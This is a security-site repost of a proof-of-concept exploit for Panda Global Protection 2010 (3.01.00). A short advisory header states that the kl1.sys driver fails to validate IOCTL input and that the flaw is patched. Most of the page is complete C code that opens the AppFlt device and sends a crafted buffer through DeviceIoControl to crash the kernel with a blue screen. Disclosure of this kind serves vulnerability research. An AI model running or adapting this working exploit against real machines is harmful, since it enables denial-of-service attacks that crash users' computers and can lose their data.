首页 | 安全文章 | 安全工具 | Exploits | 本站原创 | 关于我们 | 网站地图 | 安全论坛
  当前位置：主页>安全文章>文章资料>Exploits>文章内容
Panda Global Protection 2010 local Dos
来源：s.leberre@sysdream.com 作者：Heurs 发布时间：2011-01-24  

#include <stdio.h>
#include <windows.h>
#include <winioctl.h>
#include <stdlib.h>
#include <string.h>

/*
Program          : Panda Global Protection 2010 (3.01.00)
Homepage         : http://www.pandasecurity.com
Discovery        : 2010/04/09
Author Contacted : 2010/07/15
Status of vuln   : Patched !
Found by         : Heurs
This Advisory    : Heurs
Contact          : s.leberre@sysdream.com


//----- Application description


Antivirus Global Protection 2010 is the most complete product, with everything
you need to protect your computer and information. It protects you from viruses,
spyware, rootkits, hackers, online fraud, identity theft and all other Internet
threats. The anti-spam engine will keep your inbox free from junk mail while the
Parental Control feature will keep your family safe when using the Internet. You
can also back up important files (documents, music, photos, etc.) to a CD/DVD or
online (5GB free space available) and restore them in case of accidental loss or
damage. And thanks to the most innovative and new detection technologies and improved
Collective Intelligence, the solution is now much faster than previous versions.

//----- Description of vulnerability

kl1.sys driver don't check inputs integer of an IOCTL. An exception can be
thrown if we modify one DWORD.
With my test I can't do best exploitation than a BSOD.

//----- Credits

http://www.sysdream.com
http://www.hackinparis.com/
http://ghostsinthestack.org

s.leberre at sysdream dot com
heurs at ghostsinthestack dot org

//----- Greetings

Mysterie

*/

int __cdecl main(int argc, char* argv[])
{
    HANDLE hDevice = (HANDLE) 0xffffffff;
    DWORD NombreByte;
    DWORD Crashing[] = {
0xaaaaaaaa, 0xbbbbbbbb, 0xcccccccc, 0xdddddddd,
0xeeeeeeee, 0x00000000, 0x001cfdea, 0x002dc6c0,
0x000000a8, 0x0044005c, 0x00760065, 0x00630069,
0x005c0065, 0x00610048, 0x00640072, 0x00690064,
0x006b0073, 0x006f0056, 0x0075006c, 0x0065006d,
0x005c0031, 0x00720050, 0x0067006f, 0x00610072,
0x0020006d, 0x00690046, 0x0065006c, 0x005c0073,
0x00610050, 0x0064006e, 0x00200061, 0x00650053,
0x00750063, 0x00690072, 0x00790074, 0x0050005c,
0x006e0061, 0x00610064, 0x00470020, 0x006f006c,
0x00610062, 0x0020006c, 0x00720050, 0x0074006f,
0x00630065, 0x00690074, 0x006e006f, 0x00320020,
0x00310030, 0x005c0030, 0x00650057, 0x00500062,
0x006f0072, 0x00790078, 0x0065002e, 0x00650078,
0x00000000, 0x00000000, 0x00000000, 0x00000000,
0x00000000, 0x00000000, 0x00000000, 0x00000000,
0x00000000, 0x00000000, 0x00000000, 0x00000000,
0x00000000, 0x00000000, 0x00000000, 0x00000000,
0x00000000, 0x00000000, 0x00000000, 0x00000000,
0x00000000, 0x00000000, 0x00000000, 0x00000000,
0x00000000, 0x00000000, 0x00000000, 0x00000000,
0x00000000, 0x00000000, 0x00000000, 0x00000000,
0x00000000, 0x00000000, 0x00000000, 0x00000000,
0x00000000, 0x00000000, 0x00000000, 0x00000000,
0x00000000, 0x00000000, 0x00000000, 0x00000000,
0x00000000, 0x00000000, 0x00000000, 0x00000000,
0x00000000, 0x00000000, 0x00000000, 0x00000000,
0x00000000, 0x00000000, 0x00000000, 0x00000000,
0x00000000, 0x00000000, 0x00000000, 0x00000000,
0x00000000, 0x00000000, 0x00000000, 0x00000000,
0x00000000, 0x00000000, 0x00000000, 0x00000000,
0x00000000, 0x00000000, 0x00000000, 0x00000000,
0x00000000, 0x00000000, 0x00000000, 0x00000000,
0x00000000, 0x00000000, 0x00000000, 0x00000000,
0x00000000, 0x00000000, 0x00000000, 0x00000000,
0x00000000, 0x00000000, 0x00000000, 0x00000000,
0x00000000, 0x00000000, 0x00000000, 0x00000000,
0x00000000, 0x00000000, 0x00000000, 0x00000000,
0x00000000, 0x00000000, 0x00000000, 0x00000000,
0x00000000, 0x00000000, 0x00000000, 0x00000000,
0x00000000, 0x00000000, 0x00000000, 0x00000000,
0x00000000, 0x00000000, 0x00000000, 0x00000000,
0x00000000, 0x00000000, 0x00000000, 0x00000000,
0x00000000, 0x00000000, 0x00000000, 0x00000000,
0x00000000, 0x00000000, 0x00000000, 0x00000000,
0x00000000, 0x00000000, 0x00000000, 0x00000000,
0x00000000, 0x00000000, 0x00000000, 0x00000000,
0x00000000, 0x00000000, 0x00000000, 0x00000000,
0x00000000, 0x00000000, 0x00000000, 0x00000000,
0x00000000, 0x00000000, 0x00000000, 0x00000000,
0x00000000, 0x00000000, 0x00000000, 0x00000000,
0x00000000, 0x00000000, 0x00000000, 0x00000000,
0x00000000, 0x00000000, 0x00000000, 0x00000000,
0x00000000, 0x00000000, 0x00000000, 0x00000000,
0x00000000, 0x00000000, 0x00000000, 0x00000000,
0x00000000, 0x00000000, 0x00000000, 0x00000000,
0x00000000, 0x00000000, 0x00000000, 0x00000000,
0x00000000, 0x00000000, 0x00000000, 0x00000000,
0x00000000, 0x00000000, 0x00000000, 0x00000000,
0x00000000, 0x00000000, 0x00000000, 0x00000000,
0x00000000, 0x00000000, 0x00000000, 0x00000000,
0x00000000, 0x00000000, 0x00000000, 0x00000000,
0x00000000, 0x00000000, 0x00000000, 0x00000000,
0x00000000, 0x00000000, 0x00000000, 0x00000000,
0x00000000, 0x00000000, 0x00000000, 0x00000000,
0x00000000, 0x00000000, 0x00000000, 0x00000000,
0x00000000, 0x61616161, 0x61616161, 0x61616161,
0x61616161, 0x61616161, 0x61616161, 0x61616161,
0x61616161, 0x61616161, 0x61616161, 0x61616161,
0x61616161, 0x61616161, 0x61616161, 0x61616161,
0x61616161, 0x61616161, 0x61616161, 0x61616161,
0x61616161, 0x61616161, 0x61616161, 0x61616161,
0x61616161, 0x61616161, 0x61616161, 0x61616161,
0x61616161, 0x61616161, 0x61616161, 0x61616161,
0x61616161, 0x61616161, 0x61616161, 0x61616161,
0x61616161, 0x61616161, 0x61616161, 0x61616161,
0x61616161, 0x61616161, 0x61616161, 0x61616161,
0x61616161, 0x61616161, 0x61616161, 0x61616161,
0x61616161, 0x61616161, 0x61616161, 0x61616161,
0x61616161, 0x61616161, 0x61616161, 0x61616161,
0x61616161, 0x61616161, 0x61616161, 0x61616161,
0x61616161, 0x61616161, 0x61616161, 0x61616161,
0x61616161, 0x61616161, 0x61616161, 0x61616161,
0x61616161, 0x61616161, 0x61616161, 0x61616161,
0x61616161, 0x61616161, 0x61616161, 0x61616161,
0x61616161, 0x61616161, 0x61616161, 0x61616161,
0x61616161, 0x61616161, 0x61616161, 0x61616161,
0x61616161, 0x61616161, 0x61616161, 0x61616161,
0x61616161, 0x61616161, 0x61616161, 0x61616161,
0x61616161, 0x61616161, 0x61616161, 0x61616161,
0x61616161, 0x61616161, 0x61616161, 0x61616161,
0x61616161, 0x61616161, 0x61616161, 0x61616161,
0x61616161, 0x61616161, 0x61616161, 0x61616161,
0x61616161, 0x61616161, 0x61616161, 0x61616161,
0x61616161, 0x61616161, 0x61616161, 0x61616161,
0x61616161, 0x61616161, 0x61616161, 0x61616161,
0x61616161, 0x61616161, 0x61616161, 0x61616161,
0x61616161, 0x61616161, 0x61616161, 0x61616161,
0x61616161, 0x61616161, 0x61616161, 0x61616161,
0x61616161, 0x61616161, 0x61616161, 0x61616161,
0x61616161, 0x61616161, 0x61616161, 0x61616161,
0x61616161, 0x61616161, 0x61616161, 0x61616161,
0x61616161, 0x61616161, 0x61616161, 0x61616161,
0x61616161, 0x61616161, 0x61616161, 0x61616161,
0x61616161, 0x61616161, 0x61616161, 0x61616161,
0x61616161, 0x61616161, 0x61616161, 0x61616161,
0x61616161, 0x61616161, 0x61616161, 0x61616161,
0x61616161, 0x61616161, 0x61616161, 0x61616161,
0x61616161, 0x61616161, 0x61616161, 0x61616161,
0x61616161, 0x61616161, 0x61616161, 0x61616161,
0x61616161, 0x61616161, 0x61616161, 0x61616161,
0x61616161, 0x61616161, 0x61616161, 0x61616161,
0x61616161, 0x61616161, 0x61616161, 0x61616161,
0x61616161, 0x61616161, 0x61616161, 0x61616161,
0x61616161, 0x61616161, 0x61616161, 0x61616161,
0x61616161, 0x61616161, 0x61616161, 0x61616161,
0x61616161, 0x61616161, 0x61616161, 0x61616161,
0x61616161, 0x61616161, 0x61616161, 0x61616161,
0x61616161, 0x61616161, 0x61616161, 0x61616161,
0x61616161, 0x61616161, 0x61616161, 0x61616161,
0x61616161, 0x61616161, 0x61616161, 0x61616161,
0x61616161, 0x61616161, 0x61616161, 0x61616161,
0x61616161, 0x61616161, 0x61616161, 0x61616161,
0x61616161, 0x61616161, 0x61616161, 0x61616161,
0x61616161, 0x61616161, 0x61616161, 0x61616161,
0x61616161, 0x61616161, 0x61616161, 0x61616161,
0x61616161, 0x61616161, 0x61616161, 0x61616161,
0x61616161, 0x61616161, 0x61616161, 0x61616161,
0x61616161, 0x61616161, 0x61616161, 0x61616161,
0x61616161, 0x61616161, 0x61616161, 0x61616161,
0x61616161, 0x61616161, 0x61616161, 0x61616161,
0x61616161, 0x61616161, 0x61616161, 0x61616161,
0x61616161, 0x61616161, 0x61616161, 0x61616161,
0x61616161, 0x61616161, 0x61616161, 0x61616161,
0x61616161, 0x61616161, 0x61616161, 0x61616161,
0x61616161, 0x61616161, 0x61616161, 0x61616161,
0x61616161, 0x61616161, 0x61616161, 0x61616161,
0x61616161, 0x61616161, 0x61616161, 0x61616161,
0x61616161, 0x61616161, 0x61616161, 0x61616161,
0x61616161, 0x61616161, 0x61616161, 0x61616161,
0x61616161, 0x61616161, 0x61616161, 0x61616161,
0x61616161, 0x61616161, 0x61616161, 0x61616161,
0x61616161, 0x61616161, 0x61616161, 0x61616161,
0x61616161, 0x61616161, 0x61616161, 0x61616161,
0x61616161, 0x61616161, 0x61616161, 0x61616161,
0x61616161, 0x61616161, 0x61616161, 0x61616161,
0x61616161, 0x61616161, 0x61616161, 0x61616161,
0x61616161, 0x61616161, 0x61616161, 0x61616161,
0x61616161, 0x61616161, 0x61616161, 0x61616161,
0x61616161, 0x61616161, 0x61616161, 0x61616161,
0x61616161, 0x61616161, 0x61616161, 0x61616161,
0x61616161, 0x61616161, 0x61616161, 0x61616161,
0x61616161, 0x61616161, 0x61616161, 0x61616161,
0x61616161, 0x61616161, 0x61616161, 0x61616161,
0x61616161, 0x61616161, 0x61616161, 0x61616161,
0x61616161, 0x61616161, 0x61616161, 0x61616161,
0x61616161, 0x61616161, 0x61616161, 0x61616161,
0x61616161, 0x61616161, 0x61616161, 0x61616161,
0x61616161, 0x61616161, 0x61616161, 0x61616161,
0x61616161, 0x61616161, 0x61616161, 0x61616161,
0x61616161, 0x61616161, 0x61616161, 0x61616161,
0x61616161, 0x61616161, 0x61616161, 0x61616161,
0x61616161, 0x61616161, 0x61616161, 0x61616161,
0x61616161, 0x61616161, 0x61616161, 0x61616161,
0x61616161, 0x61616161, 0x61616161, 0x61616161,
0x61616161, 0x61616161, 0x61616161, 0x61616161,
0x61616161, 0x61616161, 0x61616161, 0x61616161,
0x61616161, 0x61616161, 0x61616161, 0x61616161,
0x61616161, 0x61616161, 0x61616161, 0x61616161,
0x61616161, 0x61616161, 0x61616161, 0x61616161,
0x61616161, 0x61616161, 0x61616161, 0x61616161,
0x61616161, 0x61616161, 0x61616161, 0x61616161,
0x61616161, 0x61616161, 0x61616161, 0x61616161,
0x61616161, 0x61616161, 0x61616161, 0x61616161,
0x61616161, 0x61616161, 0x61616161, 0x61616161,
0x61616161, 0x61616161, 0x61616161, 0x61616161,
0x61616161, 0x61616161, 0x61616161, 0x61616161,
0x61616161, 0x61616161, 0x61616161, 0x61616161,
0x61616161, 0x61616161, 0x61616161, 0x61616161,
0x61616161, 0x61616161, 0x61616161, 0x61616161,
0x61616161, 0x61616161, 0x61616161, 0x61616161,
0x61616161, 0x61616161, 0x61616161, 0x61616161,
0x61616161, 0x61616161, 0x61616161, 0x61616161,
0x61616161, 0x61616161, 0x61616161, 0x61616161,
0x61616161, 0x61616161, 0x61616161, 0x61616161,
0x61616161, 0x61616161, 0x61616161, 0x61616161,
0x61616161, 0x61616161, 0x61616161, 0x61616161,
0x61616161, 0x61616161, 0x61616161, 0x61616161,
0x61616161, 0x61616161, 0x61616161, 0x61616161,
0x61616161, 0x61616161, 0x61616161, 0x61616161,
0x61616161, 0x61616161, 0x61616161, 0x61616161,
0x61616161, 0x61616161, 0x61616161, 0x61616161,
0x61616161, 0x61616161, 0x61616161, 0x61616161,
0x61616161
        };
    char out[sizeof(Crashing)];
   
    printf("Local DoS - Panda Global Protection 2010 (3.01.00)\n\n");
    hDevice = CreateFile("\\\\.\\AppFlt",GENERIC_READ|GENERIC_WRITE,0,NULL,OPEN_EXISTING,0,NULL);
   
    DeviceIoControl(hDevice,0x06660d4c,Crashing,sizeof(Crashing),out,sizeof(Crashing),&NombreByte,NULL);
   
    printf("Sploit Send.\nhDevice = %x\n", hDevice);
    CloseHandle(hDevice);
    getch();
    return 0;
}
 
[推荐] [评论(0条)] [返回顶部] [打印本页] [关闭窗口]  
匿名评论
评论内容：(不能超过250字，需审核后才会公布，请自觉遵守互联网相关政策法规。
 §最新评论：
  热点文章
·CVE-2012-0217 Intel sysret exp
·Linux Kernel 2.6.32 Local Root
·Array Networks vxAG / xAPV Pri
·Novell NetIQ Privileged User M
·Array Networks vAPV / vxAG Cod
·Excel SLYK Format Parsing Buff
·PhpInclude.Worm - PHP Scripts
·Apache 2.2.0 - 2.2.11 Remote e
·VideoScript 3.0 <= 4.0.1.50 Of
·Yahoo! Messenger Webcam 8.1 Ac
·Family Connections <= 1.8.2 Re
·Joomla Component EasyBook 1.1
  相关文章
·Look n stop 0day Local Dos
·Panda Global Protection 2010 l
·ALZip 8.12.0.3 Buffer Overflow
·BSD x86 connect back Shellcode
·Novell iPrint <= 5.52 ActiveX
·BSD x86 portbind + fork shellc
·Inetserv 3.23 SMTP Denial of S
·Golden FTP Server v4.70 PASS C
·Google Chrome v8.0.552.237 add
·CakePHP <= 1.3.5 / 1.2.8 unser
·A-PDF All to MP3 Converter 2.0
·Inetserv 3.23 POP3 Denial of S
  推荐广告
CopyRight © 2002-2022 VFocuS.Net All Rights Reserved